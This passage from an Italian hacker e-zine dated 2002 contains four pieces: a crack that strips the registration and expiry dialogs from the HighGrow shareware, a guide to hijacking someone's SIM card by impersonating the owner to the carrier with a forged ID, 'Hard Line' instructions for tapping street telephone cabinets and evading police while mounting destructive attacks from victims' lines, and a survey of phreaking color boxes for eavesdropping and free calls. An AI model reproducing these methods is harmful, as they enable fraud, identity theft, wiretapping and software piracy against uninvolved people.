WS_VISIBLE, 5, 5, 127, 139 , 0x00000200
CONTROL "By Slick Software - 1998 ", -1, STATIC, SS_LEFT | WS_CHILD |
WS_VISIBLE | WS_GROUP, 152, 54, 92, 9
}



yUAZZ quente cose possiamo modificare andiamo ora a CHEATS:


CHEAT DIALOGEX 0, 0, 217, 229
STYLE DS_MODALFRAME | WS_POPUP
EXSTYLE WS_EX_TOOLWINDOW | WS_EX_CLIENTEDGE
CAPTION ""
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
FONT 8, "MS Sans Serif"
{
CONTROL "", 1, BUTTON, BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE |
WS_TABSTOP, 14, 204, 190, 14
CONTROL "", 1115, STATIC, SS_GRAYFRAME | SS_SUNKEN | WS_CHILD | WS_VISIBLE,
14, 13, 190, 135
CONTROL "HighGrow performs regular date and time checks, and has now
detected that these are being altered in an attempt to influence daily plant
growth."
, 1116, STATIC, SS_CENTER | WS_CHILD | WS_VISIBLE | WS_GROUP, 16, 152,
184, 48
CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 5, 5, 207,
219
}


e oraaaaaaaa LA PARTE + "INTERESSANTISSIMA"....oi oi ho nkora la febbre :(
ECCO A VOI LA PARTE DELLA REGISTRAZIONE!!!

CODE DIALOGEX 22, 17, 211, 149
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_TOOLWINDOW | WS_EX_CLIENTEDGE
CAPTION "Registration Code Entry"
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
FONT 8, "MS Sans Serif"
{
CONTROL "", 1110, EDIT, ES_LEFT | ES_AUTOHSCROLL | WS_CHILD | WS_VISIBLE |
WS_BORDER | WS_TABSTOP, 105, 85, 93, 12
CONTROL "", 1131, EDIT, ES_LEFT | ES_AUTOHSCROLL | WS_CHILD | WS_VISIBLE |
WS_BORDER | WS_TABSTOP, 105, 100, 93, 12
CONTROL "&Register HighGrow", 1069, BUTTON, BS_DEFPUSHBUTTON | WS_CHILD |
WS_VISIBLE | WS_GROUP | WS_TABSTOP, 5, 130, 88, 14
CONTROL "&Cancel", 2, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE |
WS_GROUP | WS_TABSTOP, 118, 130, 88, 14
CONTROL "HighGrow Registration", 500, STATIC, SS_CENTER | SS_SUNKEN |
WS_CHILD | WS_VISIBLE | WS_GROUP, 15, 12, 182, 17
CONTROL "Shareware Version 1.1", 1017, STATIC, SS_LEFT | WS_CHILD |
WS_VISIBLE | WS_GROUP, 17, 38, 115, 11
CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 5, 5, 201,
118
CONTROL "This version of HighGrow can be registered now by entering your
unique code."
, -1, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 17, 59,
164, 19
CONTROL "HIGHGROW", -1, STATIC, SS_ICON | WS_CHILD | WS_VISIBLE, 175, 35,
21, 20
CONTROL "Registration Code:", 1018, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE
| WS_GROUP, 17, 85, 85, 12
CONTROL "Enter your Name:", 1019, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE |
WS_GROUP, 17, 101, 84, 12
}

Proviamo a tokkare qlcsina..

yazzz ABBIAMO DISABILITATO IL CMD REGISTRA E ABBIAM MESSO IL NOSTRO (IL MIO
NOME) :))))))

CODE DIALOGEX 22, 17, 211, 149
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_TOOLWINDOW | WS_EX_CLIENTEDGE
CAPTION "Registration Code Entry"
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
FONT 8, "MS Sans Serif"
{
CONTROL "", 1110, EDIT, ES_LEFT | ES_AUTOHSCROLL | WS_CHILD | WS_VISIBLE |
WS_BORDER | WS_TABSTOP, 105, 85, 93, 12
CONTROL "", 1131, EDIT, ES_LEFT | ES_AUTOHSCROLL | WS_CHILD | WS_VISIBLE |
WS_BORDER | WS_TABSTOP, 105, 100, 93, 12
CONTROL "Fucked by e4m", 1069, BUTTON, BS_DEFPUSHBUTTON | WS_CHILD |
WS_VISIBLE | WS_DISABLED | WS_GROUP | WS_TABSTOP, 5, 130, 88, 14
CONTROL "&Cancel", 2, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE |
WS_GROUP | WS_TABSTOP, 118, 130, 88, 14
CONTROL "HighGrow Registration", 500, STATIC, SS_CENTER | SS_SUNKEN |
WS_CHILD | WS_VISIBLE | WS_GROUP, 15, 12, 182, 17
CONTROL "Shareware Version 1.1", 1017, STATIC, SS_LEFT | WS_CHILD |
WS_VISIBLE | WS_GROUP, 17, 38, 115, 11
CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 5, 5, 201,
118
CONTROL "This version of HighGrow can be registered now by entering your
unique code."
, -1, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 17, 59,
164, 19
CONTROL "HIGHGROW", -1, STATIC, SS_ICON | WS_CHILD | WS_VISIBLE, 175, 35,
21, 20
CONTROL "Registration Code:", 1018, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE
| WS_GROUP, 17, 85, 85, 12
CONTROL "Enter your Name:", 1019, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE |
WS_GROUP, 17, 101, 84, 12
}


no... NON E' FINITA!!! ABBIAMO ANKE il grafiko.... non c interessa seno'
questo testo lo facciamo (6km) ... xke proprio 6??? bho!!! giocatevelo!!
PASSIAMO A warnig sharewareeeeee :

WARNING DIALOGEX 0, 0, 387, 224
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_TOOLWINDOW | WS_EX_CLIENTEDGE
CAPTION "Shareware Warning"
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
FONT 8, "MS Sans Serif"
{
CONTROL "&Continue Unregistered", 1, BUTTON, BS_DEFPUSHBUTTON | WS_CHILD |
WS_VISIBLE | WS_TABSTOP, 262, 206, 120, 15
CONTROL "Registration &Details..", 1069, BUTTON, BS_PUSHBUTTON | WS_CHILD |
WS_VISIBLE | WS_TABSTOP, 5, 206, 120, 15
CONTROL "&Registration Code Entry..", 1070, BUTTON, BS_PUSHBUTTON |
WS_CHILD | WS_VISIBLE | WS_TABSTOP, 134, 206, 120, 15
CONTROL "Shareware Plant Termination Warning", 500, STATIC, SS_CENTER |
SS_SUNKEN | WS_CHILD | WS_VISIBLE | WS_GROUP, 5, 5, 377, 17
CONTROL "", 1116, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD |
WS_VISIBLE, 133, 44, 120, 106
CONTROL "", 1115, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD |
WS_VISIBLE, 5, 44, 120, 106
CONTROL "", 1111, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD |
WS_VISIBLE, 262, 44, 120, 106
CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 5, 155,
120, 46
CONTROL "%s\n has %i days\nremaining", 1129, STATIC, SS_CENTER | WS_CHILD |
WS_VISIBLE | WS_GROUP, 11, 161, 108, 35
CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 133, 155,
120, 46
CONTROL "%s\n has %i days\nremaining", 1130, STATIC, SS_CENTER | WS_CHILD |
WS_VISIBLE | WS_GROUP, 139, 161, 108, 35
CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 262, 156,
120, 46
CONTROL "%s\n has %i days\nremaining", 1131, STATIC, SS_CENTER | WS_CHILD |
WS_VISIBLE | WS_GROUP, 267, 161, 108, 35
CONTROL "All unregistered plants will die after one hundred days of growth
!!"
, 1132, STATIC, SS_CENTER | WS_CHILD | WS_VISIBLE | WS_GROUP, 5, 28, 377,
13
}



modifikiamo quui e lli...

uuhm... ke ideaaaaaa!! disabilitiamo tutta la finestra cosi' sto bastardo nn
verra ad uccidere la nostra marija...

WARNING DIALOGEX 0, 0, 387, 224
STYLE WS_POPUP
EXSTYLE WS_EX_TOOLWINDOW | WS_EX_CLIENTEDGE
CAPTION "Fucked by e4m"
LANGUAGE LANG_NEUTRAL, SUBLANG_NEUTRAL
FONT 8, "MS SANS SERIF"
{
CONTROL "Shareware Plant Termination Warning", 500, STATIC, SS_CENTER |
SS_SUNKEN | WS_CHILD | WS_VISIBLE | WS_GROUP, 5, 5, 377, 17
CONTROL "", 1116, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD |
WS_VISIBLE, 133, 44, 120, 106
CONTROL "", 1115, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD |
WS_VISIBLE, 5, 44, 120, 106
CONTROL "", 1111, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD |
WS_VISIBLE, 262, 44, 120, 106
CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 5, 155,
120, 46
CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 133, 155,
120, 46
CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 262, 156,
120, 46
CONTROL "All unregistered plants will die after one hundred days of growth
!!"
, 1132, STATIC, SS_CENTER | WS_CHILD | WS_VISIBLE | WS_GROUP, 5, 28, 377,
13
CONTROL "MARJUANA LIBERA BY E4M", 0, STATIC, SS_CENTER | WS_CHILD |
WS_VISIBLE | WS_GROUP, 142, 209, 103, 12
}


eD INFINE il Tokko da reverser :



1 VERSIONINFO
FILEVERSION 1,1,0,0
PRODUCTVERSION 1,1,0,0
FILEOS 0x4
FILETYPE 0x1
{
BLOCK "StringFileInfo"
{
BLOCK "040904e4"
{
VALUE "CompanyName", "e4m software"
VALUE "FileDescription", "HighGrow - Grow your own Legal Marijuana (si,ma
ora e' veramente libera !!)"

VALUE "FileVersion", "1.1"
VALUE "InternalName", "HighGrow"
VALUE "LegalCopyright", " NO Copyright - E4M "
VALUE "LegalTrademarks", "Slick Software is dedicated to creating fun
FREEWARE :/ software"

VALUE "OriginalFilename", "HighGrow"
VALUE "ProductName", "HighGrow"
VALUE "ProductVersion", "1.1"
}
}

BLOCK "VarFileInfo"
{
VALUE "Translation", 0x0409 0x04E4
}
}


Il code e' lungo se lo volete mailatemi.. PER LA PATCH .EXE CONTATTAMI LA
SPEDISCO :)
bYZ bYZ ..


tezkatlipoka@libero.it
www.bfc.too.it
su azzurra #bfc
fINE ;) BY e4m


############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| P H R E A K I N G |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010
01<0101!1010+101"
010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################



|-------------------------------------|
|Art. N° <9> : "Sim Card" di Black-Cap|
|-------------------------------------|


*****************************************++++++++++++++++++++++++++++++++++++|
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\|
°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§|
Disclaimer: |
Vieto a chiunque legga tale testo di effettuare tutto cio' che scritto; tutto|
cio' è stato fatto unicamente per approfondire le mie conoscenze e |
non per causare qualsiasi danno a terzi |
*****************************************++++++++++++++++++++++++++++++++++++|
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\|
°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§|


07/02/2002 23:30:00
Testo di Black-Cap

Coof coof, maledetta influenza! cmq, vi riscrivo per raccontarvi un fatto
veramente carino (ma
estremamente pericoloso) che dimostra quanto basta per fregare il povero
cristo di turno.

un po' di tempo fa ho perso il mio cellulare(ghghghghghghghghghghghghghghgh) e
mi venne in mente un
lampo di genio: recuperare la sim card. Telefonai al servizio assistenza
utonti wind e mi dissero che
era possibile.. vi riporto la simpatica conversazione

"ciao tesoro come va?sai che ti amo?"

ehm, non è questa...

"Buongiorno assistenza clienti wind"
"Buongiorno. Senta, la mia sim si è deteriorata cadendo nell acqua(dissi
deteriorata perche se dici
che l hai persa ti fanno pagare); ci sarebbe il modo per recuperare il mio
numero?"

"Certo.si puo' attivare una carta di sostituzione wind. Mi servono i dati dell
intestatario del
telefono"

"ok"
"lei è l intestatario?"
"si"(si come no:)"
"
allora mi serve il suo codice fiscale"
"
ok;il codice è......"
"
Bene. adesso lei si deve recare nel più vicino negozio abilitato wind e deve
chiedere una carta di
sostituzione con il codice ***"(il codice è composto da due lettere,la
provincia, e due numeri)
"
La ringrazio.Buongiorno"

Avete capito?è bastato un semplice codice fiscale!ma è possibile che la mia
sim sia protetta da un
codice che tutti si possono fare oggi come oggi?non c'è nessuna
password,frase segreta, numero del
cazzo che me la protegge???eppure è cosi'. Tutto questo vale anche se
chiamate per bloccare la sim.
Dite che vi è stata rubata, date il codice dell intestatario e puff, la carta
è bloccata. Poi, non ho
mai provato, ma se io chiamassi dicendo che sono l intestatario e che voglio
controllore le ultime
dieci chiamate partite dalla sim?chissà. Secondo me lo potrei fare. Pensate
ad una cosa: date spazio
alla fantasia. Come ci si puo' divertire con questo semplice "
bug" nel
servizio delle sim? beh,
inanzitutto si possono scoprire le ultime chiamate di quel numero (e quindi
monitorare tutto dell
nemico o della ragazza), per poi passare alle cattiverie, come per esempio
bloccare la sim del povero
cristo di turno... non è una bella cosa? non tanto. Anche se una volta
bloccata la sim puo' essere
riattivata, perchè deve passare dei cazzi per uno stronzo qualsiasi? perchè
non ci puo' essere più
sicurezza?forse perchè il 98 per cento degli utonti avrebbe perso la sua
pass... bah che schifo.

Cmq passiamo alla parte cattiva della mia idea. E cioè, rubare la sim.
Allora, dopo aver chiesto il codice della carta, andate ad un negozio wind,
possibilmente travestiti,
e chiedete la sim. Magari portatevi dietro la fotocopia del codice fiscale (e
come direte
voi?bene:molti dei prog che creano codici fiscali danno anche il
tesserino:voi lo copiate e lo
stampate in bianco e nero, ed ecco la fotocopia,che vale come l originale).
Usate un po' di ingegno e
siccome il negoziante ha da fare non ci penserà tanto su e vi darà la scheda.
A quel punto che
succede?che ve ne fate?beh, potreste mettervela nel cell e scroccare un po'
di chiamate, ma io vi
consiglio di gettarla via.... perchè? presto detto.
Appena ottenuta la carta di ricambio penso che l altra scheda si
disattivi(almeno spero, ma se non è
cosi goderei davvero) il disgraziato non potra' più chiamare, chiamera l
assistenza e...

1)controllano le chiamate al centro assistenza (si puo' evitare con una cabina)
2)probabilmente controlleranno le nuove schede attivate e facendo due+due
arriveranno al negozio dove
avete scambiato la scheda (evitabile col travestimento, ma improbabile che
sia fatto)
3)se vi è venuta la balazana idea di usare la scheda col vostro cell, tramite
i tabulati vi
rintracciano con un errore di pochi metri, vengano a caa vostra e vi regalano
due braccialetti d
argento...

Percio' è meglio lasciar perdere...poi fate voi...
Cmq penso che riuscire a scoprire le ultime chiamate di un numero non sarebbe
male, potreste
controllare la vostra ragazza, il vostro nemico... ma è giusto tutto cio????
non credo.

Finche lo fa la pula, puo' anche passare.

Ma il primo stronzo che capita no...

Vabbè va, ciao raga, è tutto

UN SALUTO A:
Tutta la mia crew, Lord Vicio(scusa se ti stresso:=),Freud,Nemesi e un saluto
speciale a Matrix(come
va amico?) ,Elektro
Bye
Black-Cap
^^Sapere è Potere^^


|---------------------------------------------|
|Art. N° <10> : "
Hard Line" di ¶HeLLz¥AnGÆL°¹®|
|---------------------------------------------|


Autore: <¶HeLLz¥AnGÆL°¹®>
Rubrica:<Phreaking>
Titolo:<HARD LINE>
Mail: <nonesiste@nonesiste.non>
Web: <www.vucumprà.com>
Data: <01.02.2002>
----------------------------------------------
::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::HARD LINE::::::::::::::::::::
Dove finisce l'idiozia e comincia il diabolico
----------------------------------------------
Bene bene... eccomi qui a scrivere un articoletto per il caro amico elektro...
Premetto fin da subito che non ho tempo per rispondere a nessuno! quindi non
mailatemi!

DISCLAIMER: Quanto riportato è tutto molto illegale e non vi conviene
assolutamente applicare queste info, l'autore e chi ne ridistribuisce gli
articoli non si assumono alcuna responsabilità sulla condotta dei lettori.
Il tutto è ovviamente riportato a scopo divulagativo e per sola conoscenza
tecnica.

PREMESSA: Non descriverò le HARD LINE in maniera minuziosa perchè spero che a
nessuno venga in mente di fare le cose che ho scritto... ma se proprio ha
intenzione di farlo spero almeno che abbia le conoscenze tecniche e
vandalistiche per farlo... non è quindi mia intenzione rendere un servizio a
dei lamer... fornisco solo un trucco... un idea... nulla di +
Sono un professionista del settore informatico... non sono ne un Hacker e ne
un Phreaker, ma quanto leggerete è solo un piccolo trucco che potrei adottare
nel caso ne avessi bisogno.
Non aspettatevi di leggere un articolo in stile simpatico perchè non c'è
niente da ridere, io non rido mai! Sono così palloso che non vuole vedermi
neanche la mia ragazza.
Quindi riallacciatevi le mascelle e riprendete un esperessione seria...
No!!!! Non quella! ho detto seria!
Ok
Così va bene... possiamo andare avanti. ;)

COMINCIAMO: Tutto è nato quando un bel giorno passando sotto casa mia ho
notato che qualcuno aveva manomesso il centralone delle linee telecom che
concentra il complesso di condominii della mia strada... (Lo riconoscete
facilmente perchè è grande come un armadio ed è di colore grigio).
Stessa cosa hanno fatto con la centralina del mio condominio, (che
generalmente la potete trovare all'interno del vostro portone...) e stessa
cosa hanno fatto al punto luce posto all'esterno della porta di casa mia...
(quella sapete già dove potete trovarla...).
In pratica qualcuno le ha aperte senza forzarle, per guardare chissà cosa e le
ha lasciate aperte... ummm tutto questo è molto strano pensai...
Forse qualcuno ha voluto vedere se mi sono ponticellato da qualche parte per
scroccare le telefonate?
O forse per controllare che la mia linea non sia stata ponticellata per poter
ascoltare e sniffare tutto quello che dico o passa nelle mie connessioni?
Di sicuro non erano esperimenti di qualcuno altrimenti non sarebbe arrivato
fino alla porta di casa mia... grrrrrrrrr
Vi garantisco che questa cosa vi fa sentire a un passo dal gabbio...
A questo punto leggendo qualche articoletto attinenete allo scrocco di
telefonate e ricordandomi di MATRIX ho chiamato questo sistema HARD LINE
adottando un paio di trucchi molto simpatici per evitare spiacevoli
conseguenze...

ANDIAMO AL DUNQUE: Se aprite uno di quegli armadi potete metterci all'interno
una base cordless (e se non sapete cos'è lasciate perdere questo aricolo), il
tutto è molto semplice perchè in queste centrali,(come ben sapete), c'è anche
un cavo di alimentazione per alimentare il pannellone, o per alimentare
qualche amplificatore di segnale qualora la linea arrivi disturbata dagli
appartamenti.
Il gioco è semplice... state a sentire... la base cordless prende una
alimentazione generica dall'armadio sufficente a funzionare... ponticellate il
line-in del cordless al pannellone e fate la conta per chi paga al posto
vostro... il telefono lo portate via e richiudete il tutto.
Ovviamente non sto di certo a dire di farlo di notte e di stare attenti a non
essere beccati...
Di fondamentale importanza è di non rompre vistosamente la serratura ma di
procurarvi in qualche modo le chiavi o di bucarla in maniera che possiate
richiuderla perfettamente quando avrete finito...
Il trucco sta proprio in questo... più lavorerete pulito e più sarete certi
che questo lavoro vi potrà tornare utile un giorno!
A questo punto vi consiglio prima di effettuare tali operazioni di andare ad
acquistare i cordless + merdosi che potete, o cmq di quelli che potete
impostare la frequenza a mano.
Per fare una prova ne ho usato uno un pò cessosetto, ma si è prestato bene
allo scopo.
Ovviamente quando mi sono deciso ad utilizzare il tutto non ho usato un
cordless ma mi sono costruito il tutto in maniera aDOC e prossimamente passerò
ad elektro il link dove scaricare il progettino.
Più centrali manometterete e + sarete certi che quando ne avrete bisogno
avrete una base sicura dalla quale collegarvi, questo perchè i tecnici quando
fanno manutenzione toglieranno il vostro cordless non appena lo troveranno...
se invece fate dei circuitini piccoli come ho fatto io, potete nasconderli
nelle matasse dei fili pettinati... di solito non li smucinano mai...
Dopo di che vi serve un portatile un modem PCMCA e una macchina per spostarvi
quando ne avrete bisogno.
Un ultmima attenzione particolare!! dovete farla!
Le trasimissioni di questo tipo si possono triangolare con una facilità
estrema.. quindi avete poco tempo per fare quello che dovete fare... o avrete
in men che non si dica il fiato di qualcuno sul collo mentre siete intenti a
fare le vostre cose... reso l'idea?
per tanto vi consiglio un ulteriore accorgimento:
Fatelo solo di notte.
Staccate le targhe...
(portatele con voi in macchina e se vi fermano gli dite che le avete staccate
perchè qualcuno vi aveva fatto uno scherzo e le aveva lasciate a penzoloni...
vi fanno solo una multa...).
==NON coprite le targhe e non modificatele in alcun modo!!! sarete
denunciati!!==
State in macchina.
Se potete non stateci + di 7 minuti, (non ci mettono ne di meno e ne di + ad
arrivare...).
Dopo avere finito allontanatevi subito ma molto lentamente.
Usate questa connessione non per navigare a sbafo ma solo per attacchi seri e
molto distruttivi.
Se potete monitorare la vostra vittima accertatevi prima di allacciarvi che
sia una persona anziana... in questo modo potrà dimostare al giudice la sua
innocenza.
-------------------------------VARIANTE-------------------------------
Potrete facilemnte acquistare una scheda GSM usata e un telefono rubato per
queste cose...
Ma non andrete particolarmente veloci... perchè la connessione tipica è 9600 o
14400 se usate doppia linea FULL DUPLEX...
In pratica un fax generico è + veloce di voi!!!
NON PROVATE LA SCHEDA SUL VOSTRO TELEFONO!!!
Se il venditore ne possiede uno provatela da quello... altrimenti lasciate
perdere e comprate altrove o il seriale della scheda risulterà abbinato al
codice IMEI del vostro telefono.
Ovviamente dovete abilitare il servizio di trasmissione dati e qui dovete fare
del social per non destare sospetti al centro servizi... quindi fatevi dare i
dati essenziali dal venditore.
Questo sistema per sessioni telnet orbitanti intorno ad una cella di
collegamento dovrebbe essere + che sufficente... attenti che se uscite dalla
cella perdete velocità durante il collegamento e potrebbe cadere la linea...
Per l'acquisto del telefono cellulare vi consiglio innanzitutto un NOKIA, così
potrete provare il range massimo di allontanamento dalla cella e saprete
quanto potrete muovervi mentre fate le vostre cose.
Se lo acquistate in strada... di mettere dentro SOLO la scheda che avete
comprato appositamente per questa cosa... ma prima spegnete e staccate la
batteria al vostro telefono, se funziona infilatevelo in tasca e pagate senza
fare in modo che il venditore possa in qualche modo riprenderlo in mano...
altrimenti, come per magia, si tramuterà in un telefono di legno... e poi ve
lo date in faccia!!
Per provare il telefono durante l'acquisto telefonate al numero che userete
per la connessione internet MAI ad un vostro amico o fidanzata!!! MAI!
Questo perchè è facilmente loggabile sia il codice IMEI quando ci si allaccia
al ponte che il seriale della scheda...
Se dopo un paio di volte risulteranno attivi nella stessa cella i due telefoni
chi pensiate possa essere incriminato?
In + se chiamate da un telefono rubato con scheda farlocca un vostro amico,
non ci metterà molto a vendervi al costo del suo Kulo... :(
Un ultimo accorgimento: Kevin Meetnick è stato arrestato mentre navigava in
questo modo.
Lo stava facendo da casa sua...
Senz'altro è stato un hacker molto abile... ma voi cercate di essere +
italiani e usate un automobile in movimento ok? ;)
-----------------------------FINE VARIANTE----------------------------
Finisco questo articolo esortandovi ad utilizzare sulle HARD LINE un
abbonamento fittizio realizzato da un cyberpub o da una postazione
universitaria.
Se chiamate qualcuno per parlarci a voce... chiamte SOLO una altra HARD LINE.
Se volete passarvi dei dati con dei vostri amici potete ulteriormente giocare
di fino avvalendovi di uno di quei numeri verdi che servono alle
registrazioni... tipo tin, libero etc...
Poichè la caratteristica del numero verde è che non pagate nulla e quindi le
vostre vittime non si accorgeranno di quello che state facendo con il loro
telefono...
Mentre sarete collegati a quel green sarete a tutti gli effetti collegati in
una rete e vi sarà assegnato un indirizzo IP... stessa cosa se lo fa un vostro
amico contemporaneamente!
Perciò comunicandovi i vostri IP potrete chattare... scambiarvi i file o
semplicemente giocare in rete con quei giochini tipo unreal etc.. etc.. (se
fate questo siete proprio dei lamer). :(
Ovviamente non potrete accedere ad internet... ma per i vostri scopi questo
potrebbe essere + che sufficente... hehehehe :)

This is the game ;)

Ciao e buona fortuna.


¶HeLLz¥AnGÆL°¹®


|-----------------------------------------|
|Art. N° <11> : "
The Color Box" di Vampire|
|-----------------------------------------|


_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_
Title:The Color Box

Di: [Vampire] --> net-vampire.too.it <--

Data: 20/02/02
¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯



Bene ragazzi, questa è la mia prima guida, speriamo che non sia anche l'ultima
però! Parlerò
delle color box telefoniche; per chi non sapesse cos'è una color box
telefonica legga bene
questa prima parte.

Who, Why and What:
Le color box sono state uno dei primi metodi utilizzati dai Phone Phreak per
sfruttare a loro
piacimento le linee telifoniche. Reindirizzare le chiamate, effettuare
chiamate gratuite
emettendo determinati segnali o danneggiare il sistema telefonico sono solo
alcune funzioni di
questi dispositivi che però in questi ultimi tempi vengono sostituiti, grazie
anche all'uso di
pc portatili, da programmi appositi; per esempio per i Palm esiste un
programma chiamato
RedPilot, che emula una red box (vedi dopo) mentre una crew di hacker, la
TeamKNOx, ha fatto un
programma che (PhreakBoy) che riproduce le red e la blu box anche su un
semplice Game Boy (in
internet si trova il sorgente in C).

Aqua box:
Dopo la piccola introduzione eccoci alla prima color box, l' Aqua Box.
Questa box è stata escogitata per evitare di essere rintracciati dalle
autorità tramite la tecnica
del Lock-in-Trace che consente di rintracciare le chiamate in questo modo:
quando si effettua una
chiamata la linea è tenuta "
aperta" dalla corrente e,quando si riattacca, la
corrente non passa
più, la tecnica del Lock-in-Trace permette di attaccarsi alla conversazione in
modo che diventi
a tre (io, te e l'FBI) e, anche se si riaggancia, l'elettricità continua a
passare permettendo di
rintracciare la chiamata.L'Aqua box mantiene un voltaggio particolare durante
la chiamata, il
quale impedisce al dispositivo Lock-in-Trace di agganciarsi alla telefonata (a
volte accade che
quel tipo di voltaggio mandi in corto il lock-in-trace) e quindi una volta che
si riaggancia
si è sicuri di non essere individuati.

Beige box:
La beige box è come la password di root sotto un unix, permette infatti di
avere a disposizione
tutti gli strumenti di un operatore di linea della compagnia.
Per sfruttare una Beige box basta trovare una di quelle scatole grigie dove
c'è scritto Telecom
(o, comunque, il nome di una compagnia telefonica) e aprirla, collegando la
propria box a questa
scatole vi potrete attaccare alla linea del

  
vostro vicino, per esempio, e
ascoltare cosa dice
oppure chiamare per molto tempo e far addebitare tutto al proprietario delle
linea a qui vi siete
attaccati.

Black box:
Il funzionamento di questa box l'ho letto su un articolo di molto tempo fa, e
non credo che le
linee telefoniche mantengano ancora le stesse impostazioni, vi spiegherò
comunque il suo funzionamento.
Prima di capire cos'è una black box vi spiego un po' come funzione un linea
telefonica durante
una telefonata, in una linea nella quale non si effettuano chiamate il
voltaggio è pari a 0,
nel momento in cui riceve una chiamata il voltaggio si alza a 48volt e, quando
si risponde, il
voltaggio scende di nuovo per arrivare fino a 10volt permettendo quindi alla
compagnia telefonica
di inziare a contare il tempo della telefonata e quindi di farvi pagare.
Una black box influisce sul voltaggio della linea mantenendolo fisso a 36volt
impedendgli di
scendere quando si risponde, evitando così che la compagnia si accorga che
deve inziare a contare
la durata della chiamata.

Red box:
Prima, quando parlavo dei Palm e dei Game Boy, vi avevo accennato di questa
color box, adesso vi
spiegherò con precisione il suo funzionamento.
Nelle vecchie cabine a moneta quando si inserivano gli spiccioli veniva
generato un impulso il
quale apriva la linea e permetteva di chiamare. Una red box non fa altro che
generare gli stessi
impulsi i quali, attraveso il microfono della cornetta, permettono di aprire
la linea e di chiamare
poichè il sitema li riconosce come l'inserimento di una moneta.
Ogni moneta ha un impulso particolare e diverso da quello emesso
dall'inserimenti di monete di altro
tipo.

Crismon box:
Questo dispositivo mette semplicemente in attesa qualcuno in modo da poterlo
ascoltare senza essere
notati. Questo espediente potreste utilizzarlo per ascoltare cosa dice vostra
sorella più grande
al suo moroso.

Lunch box:
Questa box, una volta collegata a un normale telefono a pagamento (cabina), la
trasformerà in una
trasmittente permettendo quindi di intercettare da una distanza di sicurezza
le chiamate di altre
persone.

Ultime righe:
Volevo farvi presente solo che quello che ho scritto è frutto di varie letture
che ho trovato in
internet quindi non è tutto merito mio. Volevo dirvi un'altra cosa: non sono
certo che queste
tecniche funzionino ancora visto che risalgono a un bel po' di tempo fa', per
esempio è difficile
usare una red box quì in italia visto che non si trovano quasi più telefoni a
monete.
_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_
E per questa volta è finita, se avete ancora dei dubbi potete contattarmi a:
the-vampire@libero.it
oppure potrete trovarmi su irc, sul server di azzurra (irc.azzurra.net).
Ciauzz a tutti e alla prossima! ! !
